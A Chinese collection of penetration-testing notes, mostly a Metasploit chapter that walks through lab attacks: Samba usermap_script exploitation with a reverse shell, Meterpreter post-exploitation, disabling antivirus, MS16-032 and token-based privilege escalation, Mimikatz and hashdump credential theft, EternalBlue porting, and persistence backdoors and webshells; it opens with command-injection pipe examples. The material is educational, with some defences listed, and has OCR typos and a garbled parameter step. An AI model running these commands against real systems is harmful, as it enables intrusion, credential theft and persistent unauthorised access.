1.数据重放-短信炸弹2.数据重放-邮箱炸弹
3.子域名爆破4.子目录,弱文件爆破
针对暴力破解漏洞的修复,笔者给出以下两点建议
如果用户登录次数超过设置的阀值,则锁定账号。
如果某个IP登录次数超过设置的阀值,则锁定IP
锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录
2.介绍命令执行漏洞
命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“
下面展示了常用的管道符
Windows系例支持的管道符
“|”:直接执行后面的语句。例如:ping127.0.0.1|whoami
“”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。
Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。
“|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。
“Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。
·shell命令拼接
& &A,表示将命令A放入后台运行
&& A&&B,表示A命令语句执行成功,然后执行B命令语句
| A|B,表示A命令语句的输出,作为B命令语句的输入执行
|| A||B,表示A命令语句执行失败,然后才执行B命令语句
; 适用于Linux服务器,命令按照顺序(从左到右)被执行
————————————————
版权声明:本文为CSDN博主「jxy191021」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/jxy191021/article/details/123923476
第五章 Metasploit技术
5.1 Metasploit简介
本章中示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行工具的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/。
Metasploit框架( Metasploit Framework,MsF)旨在方便渗透测试,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLD)。Metasploit还有第三方程序的接口,例如Nmap、SQLMAP等,可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole,MSF的启动界面如图5-1所示。
知识点:在使用Kali操作系统时应注意及时更新源,就像平时要及时更新手机Ap个道理。更新命令有 apt-get update、 apt-get upgrade和 lapt-get dist-upgrade。
apt- get update:只更新软件包的索引源,作用是同步源的软件包的素引信息,从而进行软件更新。
oapt- get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态
apt- get dist-upgrade:升级整个 Linux系统,例如从 Kali Linux1.0.1升级到Kali,Linux1.0.2(不仅能够升级所有已安装的软件包,而且会处理升级过程中可能出现的软件冲突。某些情况下,它的部分升级过程需要人工参与)。
5.2 Metasploit基础
5.2.1专业术语
MSF框架由多个模块组成,各个模块及其具体的功能如下。
1、 Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、探、指纹识别等相关功能以辅助渗透测试。
2. Exploit(漏洞利用模块)
漏洞利用是指由透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流的透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
3.Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被滲透攻击之后完成实际攻击功能的代码,成功滲透目标后用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
4.Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
5. Encoders(编码工具模块)
该模块在滲透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
5.2.2渗透攻击步骤
大致步骤如下:
扫描目标及系统,寻找可用漏洞。
选择并配置一个漏洞的利用模块。
选择并配置一个攻击载荷模块。
选择一个编码技术,用来绕过杀毒软件的查杀。
渗透攻击。
5.3 主机扫描
扫描和收集信息时渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取信息越多,渗透概率越大。主要关注点是目标机器IP地址、可用服务、开放端口等。
5.3.1使用辅助模块进行端口扫描
辅助模块是Metasploit的内置模块,首先利用search命令搜索有哪些可用端口模块。
图中所示扫描类型中,以TCP扫描模块举例。
输入use命令即可使用该漏洞利用模块,使用show options命令查看需要设置的参数,如图5-3.
在Required列中,被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描的速度越多。使用set命令设置相应的参数,也可以使用unset命令取消 某个参数值的设置。如图5-4所示。
目标机器开了139、135、445三个端口。
知识点:其实还有两条可选命令--setg命令和unsetg命令。二者用于在 msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值
5.3.2使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如 VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。
通过search命令搜索scanner可以发现大量的扫描模块,建议读者多尝试不同的辅助扫描模块,了解其用法。使用的步骤与使用端口扫描模块时的基本相同,这里就不演示了,附上一些常用的扫描模块。
5.3.3使用Nmap扫描
Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握可以极大提高个人的渗透测试技术。
实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表,如图5-5所示。
现在我们要获取目标主机的操作系统,输入nmap-O-Pn/-p0 URI命令,其中 Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现,如图5-6所示。
可以看到目标主机的操作系统是Windows 2021|7|8.1。
5.4漏洞利用
每个操作系统都会存在各种Bug。没用公布补丁的Bug就是所谓的0day漏洞。
下面就假设目标机是Metasploitable2,对Linux机器进行渗透攻击。(Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware、VirtualBox和其他虚拟平台,默认只开启一个网络适配器并且开启NAT和Host-Only。该工具可以在网站http:/ sourceforge.net/projects/metasploitable/files/Metasploitable2下载。)
首先对Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序,如图5-7
收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务。
输入msf>search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块。如图5-8。
然后Samba服务将返回漏洞利用模块的列表,按照各个漏洞被成功利用的相对难易度进行排序。为提高渗透成功率,这里选择“Excellent”进行接下来的渗透。有关漏洞的详细信息可以通过5-9所示的命令查看。
输入以下命令即可使用该漏洞利用模块。
Msf> use exploit/multi/samba/usermap_script
然后就可以看到Metasploit命令提示符msf>会变成msf exploit(usermap_script) >。
使用如图5-10所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。
这里使用如图5-11所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。
设置被攻击主机IP地址,命令如下所示。
msf exploit (usermap_script) > set RHOST 192.168.172.134
设置漏洞利用的端口号,命令如下
msf exploit (usermap_script) > set RHOST 445
设置发动攻击主机IP地址,命令如下。
msf exploit (usermap_script) > set RHOST 192.168.172.136
设置完就可以使用如图5-12所示的命令再次确认参数是否已设置正确。
设置完所有参数变量后,输入攻击命令exploit或者run,如下所示,发动攻击。
msf exploit (usermap_script) > exploit
MSF发动攻击成功后会获取目标主机的Shell为了验证该Shell是目标主机的,可以查询主机名、用户名和IP地址,并与目标主机进行对比,如图5-13所示。
攻击成功后,可以看到在攻击机和目标机之间会建立一个Shell链接,渗透Windows系统的过程类似,唯一差别就是选择的漏洞模块和攻击载荷模块不一样,建议多尝试各种Exploit好人Payload的组合。
防御方法:Samba服务漏洞发生在 Sambal版本3.020-3.0.25rc3中,当使用非默认用户名映脚本配置时,通过指定一个用户名包含Shel元字符,攻击者可以执行任意命令。将 Samba升级到最新版本即可防御本漏洞。
5.5后渗透攻击:信息收集
成功地对目标机器攻击渗透后还可以做什么? Metasploitt提供了一个非常强大的后渗透工具-Meterpreter该工具具有多重功能,使后续的渗透入侵变得更容易获取目标机的 Meterpreter Shell后,就进入了 Metasplo最精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreter有以下优势。
1.纯内存工作模式,不需要对磁盘进行任何写入操作。
2.使用加密通信协议,而且可以同时与几个信道通信。
3.在被攻击进程内工作,不需要创建新的进程。
4.易于在多进程之间迁移。
5.平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台。
5.5.1进程迁移
在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用览器漏洞攻陷目标机器,但攻击滲透后浏览器有可能被用户关闭。所以第步就是要移动这个Shel,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得滲透更难被检测到。输入ps命令获取目标机正在运行的进程,
输入 getpid命令査看 Meterprerer Shelll的进程号
可以看到 Meterpreter Shell进程的PID为984,Name为138.exe,然后输入 migrate448命令把Shel移动到PID为448的 Explorer.exe进程里,因为该进程是一个稳定的应用。leterpreter Shell的进程号,发现PID完成进程迁移后,再次输入 getpid命令査看Me已经变成了448,说明已经成功迁移到 Explorer. exe进程里,
进程迁移完成后,原先PID为984的进程会自动关闭,如果没有自动关闭可以输入ki984命令“杀掉”该进程。使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移,
5.5.2系统命令
获得了稳定的进程后,接下来收集系统信息。
先输入 sysinfo命令査看目标机的系统信息,例如操作系统和体系结构,如图5-18所示。
输入 run post/windows/ gather/checkin命令检查目标机是否运行在虚拟机上,如图5-19所示。
可以看到当前目标机正运行在一个 Vmware虚拟机上。现在检查目标机是否正在运行,输入 idletimei命令后可以看到目标机最近的运行时间,如图5-20所示。
接着输入route命令查看目标及完整的网络设置,如图5-21所示。
除此之外,可以输入 background命令将当前会话放到后台,此命今适合在多个Meterpretert会话的场景下使用。还可以输入getuid命今查看当前目标机器上已经渗透成功的用户名,如图5-22所示。
接着输入 run post/windows/manage/killa命令关闭目标机系统杀毒软件,如图5-23所示。
输入 run post/windows/ manage/enak_命令启动目标机的远程桌面协议,也就是常说的3389端口。
然后输入run post/windows/ manage/autoroute命令查看目标机的本地子网情况,如图5-25所示。
接着进行跳转,先输入background命令将当前Meterpreter终端隐藏在后台,然后输入route add命令添加路由器,添加成功后输入route print命令查看。
可以看到一条地址为192.168.172.0的路由器已经被添加到已攻陷主机的路由表中,然后就可以借助被攻陷的主机对其他网络进行攻击了。
接着输入run post/ windows/gather/enum_logged_on_users命令列举当前有多少用户登陆了目标机。
可以看到系统有 shuter、test、Administrator三个用户,而且 Administrator l目前登录了系统。
列举了用户之后,继续输入 run post/ windows/ gather/enum_applications命令列举安装在目标机上的应用程序,。
下面这个命令可以抓取自动登录的用户名和密码。
可以看到,当前没有抓到任何信息。此时就需要用到扩展插件 Espia,使用前要先输入load espia命令加载该描件,然后输入 screengrab命令就可以抓取此时目标机的屏幕截图,如图5-30所示。
抓取成功后就生成了一个名为ojJUEbgq的图片,保存在root目录下。这里输入
screenshot命令也可以达到同样的效果
5.5.3文件系统命令
常见的文件系统命令及其作用如下所示。
pwd或getwd:查看当前处与目标机的那个目录。
getlwd:查看当前处于本地的那个目录。
ls:列出当前目录中的所有文件。
cd:切换目录。
search-f*.txt -d c:\:可以搜索c盘中所有以“.txt”为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索。
Download c:\text.txt/root:下载目标机c盘的text.txt文件到攻击机root下。
Upload/root/text.txt c:\:上传攻击机root目录下的text.txt文件到目标机c盘下。
5.6后渗透攻击:权限提升
通常,我们在滲透过程中很有可能只获得了一个系统的 Guest或User权限,在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从 Guset提升到User,再到 Administrator最后到 System级别。
渗透的最终目的是获取服务器的最高权限,即 Windowst操作系统中管理员账号的权限,或Linx操作系统中root账户的权限。提升权限的方式分为以下两类。
纵向提权:低权限角色获得高权限角色的权限。例如,一个 Webshell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
横向提权:获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。
所以在成功获取目标机 Meterpreter Shell后,我们要知道现在已经拥有了什么权限
在 Meterpreter Shell下输入shel命令进入目标机的CMD命令行。
接着输入whoami/groups命令查看我们当前的权限
从图5-47中可以看到,当前的权限是 Mandatory Label\Medium Mandatory Level,说明我们是一个标准用户,那么就需要将用户权限从标准用户提升到管理员,也就Mandatory Label\high Mandatory Level。
计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。
5.6.1利用WMIC实战MS16-032本地溢出漏洞
假设此处我们通过一系列的渗透测试得到了目标机器的Meterpreter Shell。
首先输getuid命令查看已经获得的权限,可以看到现在的权限很低,是test权限尝试输入getsystem命令提权,结果失败,。
接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C: \windows\里留下的补丁号“.log”查看目标机大概打了哪些补丁,如图5-49所示。
可以看到目标机只安装了两个修补程序。这里再利用WMIC命令列出已安装的补丁
同样可以看到目标机只打了2个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁編号与提权的EXP编号进行对比。比如 Kitrapod(KB979682)、MS1-011(KB2393802),MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。
相关漏洞的具体信息分析和共享可以参考如下两个网站。
1.安全焦点,其 Bug Traq是一个出色的漏洞和 Exploit数据源,可以通过CVE编号或者产品信息漏洞直接搜索。网址:http://ww. securityfocus. com/bid。
2.Exploit-DB,取代了老牌安全网站 milw0rm。 Exploit-DB不断更新大量的Exploit程序和报告,它的搜索范围是整个网站的内容。网址:htp://www.exploit-db.com。
知识点:WMIC是 Windows Management Instrumentation Command.line的简称,它是一款命令行管理工具,提供了从命令行接口到批命今脚本执行系统管理的支持,可以说是 Windows平台下最有用的命令行工具。使用WMIC,我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的运程计算机不必事先安装WMIC。
wmic.exe位于 Windows l目录下,是一个命令行程序。WMC可以以两种模式执行交互模式( Interactive mode)和非交互模式(Non- -Interactive mode),经常使用 Netsh命令行的读者应该非常熟悉这两种模式。
1.交互模式。如果你在命令提示符下或通过“运行”菜单只输入WMIC,都将进入WMIC的交互模式,每当一个命令执行完毕后,系统还会返回到WMIC提示符下,如“ Rootcli”,交互模式通常在需要执行多个WMIC指令时使用,有时还会对一些敏感的操作要求确认,例如删除操作,这样能
最大限度地防止用户操作出现失误。
2.非交互模式。非交互模式是指将WMIC指令直接作为WMIC的参数放在MMC后面,当指令执行完毕后再返回到普通的命令提示符下,而不是进入WMC上下文环境中。WMIC的非交互模式主要用于批处理或者其他一些脚本文件中。
需要注意的是,在 Windows XP下,低权限用户是不能使用WMIC命令的,但是在 Windows7系统和 Windows8系统下,低权限用户可以使用WMC,且不用更改任何设置。
WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。接下来准备提权,同样需要先把 Meterpretera会话转为后台执行,然后搜素MS16-032。
知识点:如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP。
执行以下命令选中MS16-032这个漏洞然后指定“ session"”进行提权操作,这里我们指定服务“ session”为“1”。
最后直接输入exploit或run命令即可。
根据返回的信息可以看到已经创建新的 session,并提示提权成功。接着查看这个Meterpreter Shell的权限,已经是 SYSTEM级权限了,如图5-54所示。
防御方法:这个漏洞的安全补丁编号是KB3139914,我们只要安装此补丁就可以
了,也可以通过第三方工具下载补丁包打上该补丁。
知识点:为方便提权,下面附上笔者收集的部分系统对应补丁号,如表52所示。
5.6.2令牌窃取
令牌简介及原理
令牌( Token)就是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来。令牌有很多种,比如访问令牌( Access Token)表示访问控制操作主题的系统对象;密保令牌( Security token),又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾:会话令牌( Session Token)是交互会话中唯一的身份标识符
在假冒令牌攻击中需要使用 Kerberos协议。所以在使用假冒令牌前,先来介绍Kerberos协议。 Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机服务器应用程序提供强大的认证服务。 Kerberos的工作机制如图5-55所示。
客户端请求证书的过程如下所示。
1.客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
2.AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器 :ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和个临时加密密钥(又称为会话密钥, session key)。当然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登录客户端的身份
3.客户端将 ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服务器。
4.客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。
二.假冒令牌实战利用
假设我们通过一系列前期渗透,已经成功获得了目标机的Meterpreter Shell,首先输入getuid命令查看已经获得的权限,然后输入getsystem,发现提权失败。
我们先输入use incognito命令,然后输入list_token -u列出可用的token。
令牌有两种类型:一种是Delegation tokens,也就是授权令牌,支持交互式登录;另一种就是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
知识点:在输入HOSTNAME\USERNAME时需要输入两个反斜杠(\\)。
5.6.3Hash攻击
使用Hashdump抓取密码
Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。
在非SYSTEM权限下运行hashdump命令会失败,而另一个模块smart_hashdump的功能更强大,可以导出域所有用户的Hash,其工作流程如下:
检查Meterpreter会话的权限和目标及操作系统类型。
检查目标机是否为域控制服务器。
首先尝试从注册表中读取Hash,不行的话在尝试注入LSASS进程。
这里要注意如果目标机的系统是Windows 7,而且开启了UAC,获取Hash就会失败,这是需要先使用绕过UAC的后渗透攻击模块。
可以使用暴力或者彩虹列表对抓取到的Hash进行破解,个人推荐http://www.cmd5.com/或者http://www.xmd5.com/这两个网站。
使用Quarks PwDump抓取密码
Pwdump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。
它目前可以导出:
1.Local accounts NT/LM hashes+ history2本机NTLM哈希+历史登录记录。
2.Domain accounts NT/LM hashes+ history域中的NTLM哈希+历史登录记录。
3.Cached domain password缓存中的域管理密码。
4.Bitlocker recovery information (recovery passwords & key packages)使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)
Pwdump支持的操作系统为 Windows XP/Windows2003 Windows Vista/Windows7/Windows 2008/Windows 8
在 Windows的密码系统中,密码以加密的方式保存在/ windows/system32 config下的sam文件里,而账号在登录后会将密码的密文和明文保存在系统的内存中。正常情况下系统启动后,sam文件是不能被读取的,但是 Pwdumpi就能读取sam。直接运行 Quarks Pwdump. exe,如图5-61所示,默认显示帮助信息,其参数含义如下所示。
-dhl:导出本地哈希值。
-dhdc:到处内存中的域控哈希值。
-dhd:导出域控哈希值,必须指定NTDS文件。
-db:导出Bitlocker信息,必须指定NTDS文件。
-nt:导出NTDS文件。
-hist:导出历史信息,可选项。
-t:可选导出类型,默认导出John类型。
-o:导出文件到本地。
三.使用 Windows Credentials Editor抓取密码
首先输入 upload命令将wce.exe上传到目标主机C盘中,然后在目标机shel下输入wce -w命令,便会成功提取系统明文管理员的密码。
默认使用-1命令读取数据格式username: domain:lm:ntlm(这种读取是从内存中读取己经登录的信息,而不是读取sam数据库中的信息),默认的读取方式是先用安全的方式读取,若读取失败再用不安全的方式,所以很有可能对系统造成破坏。这里建议使用-f参数强制使用安全的方式读取。-g参数是用来计算密码的,就是制定一个系统明文会使用的加密方法来计算密文。
-c参数用于指定会话来执行cmd,-v参数用于显示详细信息,这样才能看到luid信息,-w参数是最关键的,用于查看已登录的明文密码。
使用Mimikatz抓取密码
Mimikatz可以帮助安全测试人员轻松抓取系统密码。
Metasploiti已经将其作为一个 Meterpreterl脚本集成了,以便用户使用,而不需要上传该软件到目标主机上。
Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透,已经成功获得目标机的 Meterpreter Shell(过程略),当前权限为 Administrator,,输入 geosystem命令获取了系统权限。
获取系统 SYSTEM权限后,首先查看目标机器的架构。虽然 Mimikatzl同时支持32位和64位的 Windows架构,但如果服务器是64位操作系统,直接使用 Mimikatz)后,Meterpretera会默认加载一个32位版本的 Mimikatz3到内存,使得很多功能无效。而且在64位操作系统下必须先查看系统进程列表,然后在加载 Mimikatz之前将进程迁移到64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入 sysint命令。
这是一个32位的机器,我们直接加载Mimikatz模块,并查看帮助。
Mimikatz_command选项可以让我们使用Mimikatz的全部功能,需要通过加载一个错误的模块 得到可用模块的完整列表。
我们可以使用“::”语法请求某个模块可用的选项,选定一个模块后也可以使用“::”查看本模块的帮助,例如查看Hash的可用选项有lm和ntlm两种。
知道了 Mimikatze的大概使用方法后,我们既可以使用 Metasploit内建的命令,也可以使用 Mimikatz自带的命令从目标机器上导出Hash和明文证书接着直接输入msv命令抓取系统Hash值。
输入kerberos命令可以抓取系统票据。
输入wdigest命令可以获取系统账户信息。
接着输入samdump命令查看samdump的可用选项,然后输入mimikatz_command - f samdump::hashes命令抓取Hash。
抓到的目标机的三个用户Administrator、shuteer和text的密码都一样,通过CMD5解密,得知密码为1。
Mimikatz除了可以抓取Hash,还有很多其他功能,例如使用Handle模块、list/kill进程,以及模拟用户令牌。
使用Service模块可以list/start/stop/remove Windows的服务。
使用Crypto模块可以list/export任何证书,以及储存在目标机器上的相应私钥。
5.7 后渗透攻击:移植漏洞利用代码模块
Metasploitk成为全球最受欢迎的工具之一,不仅是因为它的方便性和强大性,更重要的是它的框架。 Metasploitz本身虽然集合了大量的系统漏洞利用代码模块,但并没有拥有所有的漏洞代码,它允许使用者开发自己的漏洞模块,从而进行测试,这些模块可能是用各种语言编写的,例如Pen、 Pythons等, Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploitz兼容的渗透模块。所以说,允许使用者开发自己的漏洞模块,是 Metasploit非常强大且非常重要的功能。
5.7.1 MS17-010漏洞简介、原理及对策
MS17-010漏洞利用模块就是利用 Windows系统的 Windows SMBI远程执行代码漏洞,向 Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息后,允许远程代码执行。成功利用这些漏洞的攻击者即可获得在目标系统上执行代码的权力为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能会向目标SMBv1服务器发送经特殊设计的数据包,从而实现成功攻击。
5.7.2移植并利用MS17-010漏洞利用代码
MS17-010的漏河利用模块 Metasploitk虽然已经集成,但是经过测试后装发现不支持港透 Windows2003系统,但是网络上有支持的港透脚本,其 GitHub下我地址为https://github.com/Elevenpaths/Eternalblue-Doublepulsar-Metasploit/。
首先将该漏洞利用模块克隆到本地文件夹。
接着将eternalblue_doublepulsar-Metasploit文件夹下的eternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下,在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。
现在去MSF下面重新加载全部文件。
现在就可以搜到脚本了,输入use命令加载该模块。
将MS17-010漏洞利用代码移植到Metasploit框架后,就可以开始渗透测试了,在攻击之前要先生成一个DLL文件,如果目标机是32位的系统就生成32位的DLL,是64位的系统就生成64位的DLL。这里涉及免杀,可以使用PowerShell下的Empire生成DLL在第6.3.4节中会具体讲解。这里使用MSF自带的Msfvenom命令生成。
在使用该漏洞模块时,要按照实际情况设置以下参数。
全部设置完成后,如图5-83所示。
这里输入exploit或者run命令发动攻击,成功后会顺利得到一个Meterpreter会话。
至此,我们已经成功利用MS17-010漏洞完成入侵。
因为该漏洞危害极大,读者一定要严格做好如下防御措施。
为计算机安装最新的安全补丁,微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞,网址为https://technet.microsoft.com/zh-cn/library security/MS17-010。读者也可以通过第三方工具,下载补丁包打上该补丁。
及时备份,一定要将重要文件离线备份。
开启防火墙。
关闭445、135、137、138、139端口,关闭网络共享。
5.8后渗透攻击:后门
在完成了提升权限之后,我们就应该建立后门( backdoor)了,以维持对目标主机的控制权。这样一来,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。
简单地说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它允许一个普通的、未经授权的用户控制计算机。
5.8.1操作系统后门
后门泛指绕过目标系统安全控制体系的正规用户认证过程,从而维持我们对目标系统的控制权,以及隐匿的控制行为的方法。
Cymothoa后门
Cymothoa是一款可以将ShellCode注入现有进程(即插进程)的后门工具。借助这种注入手段,它能够把ShellCode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。
值得一提的是该后门注入系统的某一进程,反弹的是该进程相应的权限(并不需要root)。当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或者目标主机重启,后门就会停止运行。
首先可查看程序的PID(在Linux系统下输入ps-aux命令,在Windows系统下输入 tasklist命令)。
在使用Cymothoa时,需通过-p选项制定目标进程的PID,并通过-s选项指定ShellCode的编号。
成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。例如,这里选择PID为982的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口为4444
成功后就可以通过以下命令连接目标主机的后门(4444号端口)。
二.Persistence后门
Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用它创建注册和文件。首先输入run persistence-h查看用到的所有命令选项。
接着输入以下命令创建一个持续性的后门。
语法解释:
A:自动启动Payload程序。
S:系统启动时自动加载。
U:用户登录时自动启动。 X:开机时自动加载。
i:回连的时间间隔。
P:监听反向连接端口号。
r:目标机器IP地址。
可以看到,Meterpreter会话已经在目标机器系统中建立起来了,现在输入sessions命令查看已经成功获取的会话,可以看到当前有两个连接。
知识点:这个脚本需要在目标机器上创建文件从而触发杀毒软件,建议运行前关闭杀毒软件。
5.8.2 Web后门
Web后门泛指WebShell,其实就是一段网页代码,包括ASP、ASPNET、PHP、 JSP代码等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行一些危险的操作获得某些敏感的技术信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的一个方法,比一般的入侵更具隐蔽性。
Web后门能给攻击者提供非常多的功能,例如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。 在Kali下,用的比较多的就是Weevely,Weevely支持的功能很强大,使用http头进行指令传输,唯一的缺点就是只支持PHP。其实Metasploit框架中也自带了Web后门,配合Meterpreter使用时,功能更强大。
一. Meterpreter后门
在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可创建具有Meterpreter功能的PHP WebShell。在攻击中使用Metasploit PHP Shell的步骤如下所示。
使用msfvenom创建一个webshell.php
上传webshell.php到目标服务器。
运行Metasploit multi-handler开始监听。
访问webshell.php页面。
5.获得反弹的Metasploit Shell。
我们可以通过Metasploit的msfvenom工具制作PHPMeterpreter。
然后将shuteer.php上传到目标服务器,因为是虚拟机,直接复制到Kali下的/var/www/html目录,打开WebShell网址。
接着启动Msfconsole,使用以下命令设置监听,如图5-94所示。
然后打开http://127.0.0.1/shuteer.php。
回到MSF下面,可以看到服务端已经反弹成功。
最后使用sysinfo和getuid等Meterpreter命令渗透目标主机。
二.Aspx Meterpreter后门
本节要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可创建具有Meterpreter功能的各版本ShellCode,例如比较常见的Asp、Aspx、msi、vbs、 war等,下面以Aspx为例。
在攻击中使用Aspx Meterpreter后门的步骤和Metasploit PHP Shell的大概相同。首先使用下列代码调用该模块,并设置相关参数。如下所示。
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.31.247
set lport 4444
save
接着输入generate -h命令查看帮助命令。
生成各版本ShellCode的命令如下所示。
generate -t asp //生成Asp 版的 ShellCode
